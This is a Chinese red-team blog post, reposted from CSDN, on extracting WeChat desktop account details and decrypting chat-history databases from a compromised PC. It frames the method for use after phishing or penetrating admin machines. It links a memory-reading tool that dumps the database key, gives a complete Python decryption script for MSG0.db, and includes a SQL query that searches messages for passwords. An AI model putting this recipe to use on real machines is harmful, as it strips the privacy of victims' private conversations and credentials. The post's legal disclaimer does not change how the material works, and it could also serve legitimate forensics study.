红队攻防之PC端微信个人信息与聊天记录取证

本文转载于:https://blog.csdn.net/shuteer_xu/article/details/128245994

0x01 声明

声明:该公众号大部分文章来自作者日常学习笔记,未经授权,严禁转载,如需转载,联系公众号加白。

请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

0x02 前言

师傅们都碰到过一个问题:

通过钓鱼/渗透/XX方式控制了目标的电脑权限,如何才能获取到更有价值的信息,更好的开展下一步工作呢

答:众所周知,WX在个人社交、日常办公、XXXX中已经必不可少,所以比较容易被关注到

场景:不管是XX工作需要取证、还是HVV工作需要更多有价值的信息,相对来说都是比较快准狠的方式

所以想水一篇文章:关于WX个人信息与聊天记录的取证工作

0x03 实现

学习地址[会不定期更新](能用就行):

https://github.com/AdminTest0/SharpWxDump

问:为啥要不定期更新?

答:因为PC端WX每迭代一次新版本,偏移都会改变,都需要重新获取,所以需要不定期更新对应版本的偏移地址,有兴趣的师傅可以交流一下

利用场景:

钓鱼攻击(通过钓鱼控到的机器通常都是登录状态,可诱骗登录)

渗透到运维机器(有些运维机器会日常登录自己的微信,可蹲)

某些工作需要取证(数据库需要拷贝到本地慢慢弄)

自行备份(日常备份自己留存)

等等...............

利用前提:需要处于登录状态

1. 如果没有运行,会提示

红队攻防之PC端微信个人信息与聊天记录取证_第1张图片

2. 如果运行了,但是没有登录,会提示错误原因(因为实战中会有各种各样的错误,中文在CS中会乱码,所以这里用的英文翻译)

红队攻防之PC端微信个人信息与聊天记录取证_第2张图片

3. 如果用户登录了WX,直接执行即可获取:进程ID/当前版本/昵称/账号/手机号码/邮箱/数据库密钥,目前所有正式版本都可以(能用就行)

红队攻防之PC端微信个人信息与聊天记录取证_第3张图片

0x04 版本差异

差异:

版本 < 3.7.0.30,运行但不登录:能获取到;

红队攻防之PC端微信个人信息与聊天记录取证_第4张图片

版本 > 3.7.0.30,运行但不登录:获取不到;

红队攻防之PC端微信个人信息与聊天记录取证_第5张图片

原因:

版本 < 3.7.0.30,都是从AccInfo.dat文件中获取;

版本 > 3.7.0.30,修复了AccInfo.dat文件中存储个人信息(因为之前可以离线读取);

离线获取,差异对比(左旧右新)

红队攻防之PC端微信个人信息与聊天记录取证_第6张图片

在线获取,差异对比(上旧下新),登录后都能获取,但新版已经获取不到邮箱了

红队攻防之PC端微信个人信息与聊天记录取证_第7张图片

0x05 聊天记录解密

思路:
首先获取微信的Wechatkey ------>找到对应聊天记录的数据库
------>使用python脚本解密------>使用Navicat 等数据库工具打开读取明文

1. wxid_xxxxxxxx一般都在文档目录下,作为存储目录,下载对应的聊天记录文件到本地

红队攻防之PC端微信个人信息与聊天记录取证_第8张图片

文件位置:

红队攻防之PC端微信个人信息与聊天记录取证_第9张图片

关于聊天记录文件:MSG.db,超出240MB会自动生成MSG1.db,以此类推

wxid_xxxxxxxx\Msg\Multi\MSG0.db > 聊天记录
wxid_xxxxxxxx\Msg\Multi\MSG1.db > 聊天记录
wxid_xxxxxxxx\Msg\Multi\MSG2.db > 聊天记录
wxid_xxxxxxxx\Msg\MicroMsg.db > Contact字段 > 好友列表
wxid_xxxxxxxx\Msg\MediaMsg.db > 语音 > 格式为silk

2. 解密数据库

脚本代码:

from Crypto.Cipher import AES
import hashlib, hmac, ctypes, sys, getopt
 
 
SQLITE_FILE_HEADER = bytes('SQLite format 3', encoding='ASCII') + bytes(1)
IV_SIZE = 16
HMAC_SHA1_SIZE = 20
KEY_SIZE = 32
DEFAULT_PAGESIZE = 4096
DEFAULT_ITER = 64000
opts, args = getopt.getopt(sys.argv[1:], 'hk:d:')
input_pass = ''
input_dir = ''
 
 
for op, value in opts:
    if op == '-k':
        input_pass = value
    else:
        if op == '-d':
            input_dir = value
 
 
password = bytes.fromhex(input_pass.replace(' ', ''))
 
 
with open(input_dir, 'rb') as (f):
    blist = f.read()
print(len(blist))
salt = blist[:16]
key = hashlib.pbkdf2_hmac('sha1', password, salt, DEFAULT_ITER, KEY_SIZE)
first = blist[16:DEFAULT_PAGESIZE]
mac_salt = bytes([x ^ 58 for x in salt])
mac_key = hashlib.pbkdf2_hmac('sha1', key, mac_salt, 2, KEY_SIZE)
hash_mac = hmac.new(mac_key, digestmod='sha1')
hash_mac.update(first[:-32])
hash_mac.update(bytes(ctypes.c_int(1)))
 
 
if hash_mac.digest() == first[-32:-12]:
    print('Decryption Success')
else:
    print('Password Error')
blist = [blist[i:i + DEFAULT_PAGESIZE] for i in range(DEFAULT_PAGESIZE, len(blist), DEFAULT_PAGESIZE)]
 
 
with open(input_dir, 'wb') as (f):
    f.write(SQLITE_FILE_HEADER)
    t = AES.new(key, AES.MODE_CBC, first[-48:-32])
    f.write(t.decrypt(first[:-48]))
    f.write(first[-48:])
    for i in blist:
        t = AES.new(key, AES.MODE_CBC, i[-48:-32])
        f.write(t.decrypt(i[:-48]))
        f.write(i[-48:])

使用方法:

python3 .\Decode.py -k 数据库密钥 -d .\MSG0.db

解密成功

2c15e7ceab8c5b2ed245f15f53416524.png

3. 查找敏感信息

将解密后的MSG0.db拖入数据库工具,查询语句查找关键字:

SELECT * FROM "MSG" WHERE StrContent  like'%密码%'

包含个人消息、群消息等等,或者直接用数据库工具的界面化查找

红队攻防之PC端微信个人信息与聊天记录取证_第10张图片

0x06 如何获取偏移

使用CE选中WeChat.exe,获取账号偏移,通过WeChatWin.dll的基址+偏移,即可定位想获取的信息,其他信息同理

红队攻防之PC端微信个人信息与聊天记录取证_第11张图片

0x07 参考

参考链接:

[1] http://cn-sec.com/archives/440791.html

[2] https://blog.csdn.net/weixin_42962516/article/details/114904925

[3] https://blog.csdn.net/qq_38474570/article/details/96606530

[4] https://www.52pojie.cn/forum.php?mod=viewthread&tid=1153671

你可能感兴趣的:(工具的使用,信息收集,数据库,web安全,系统安全)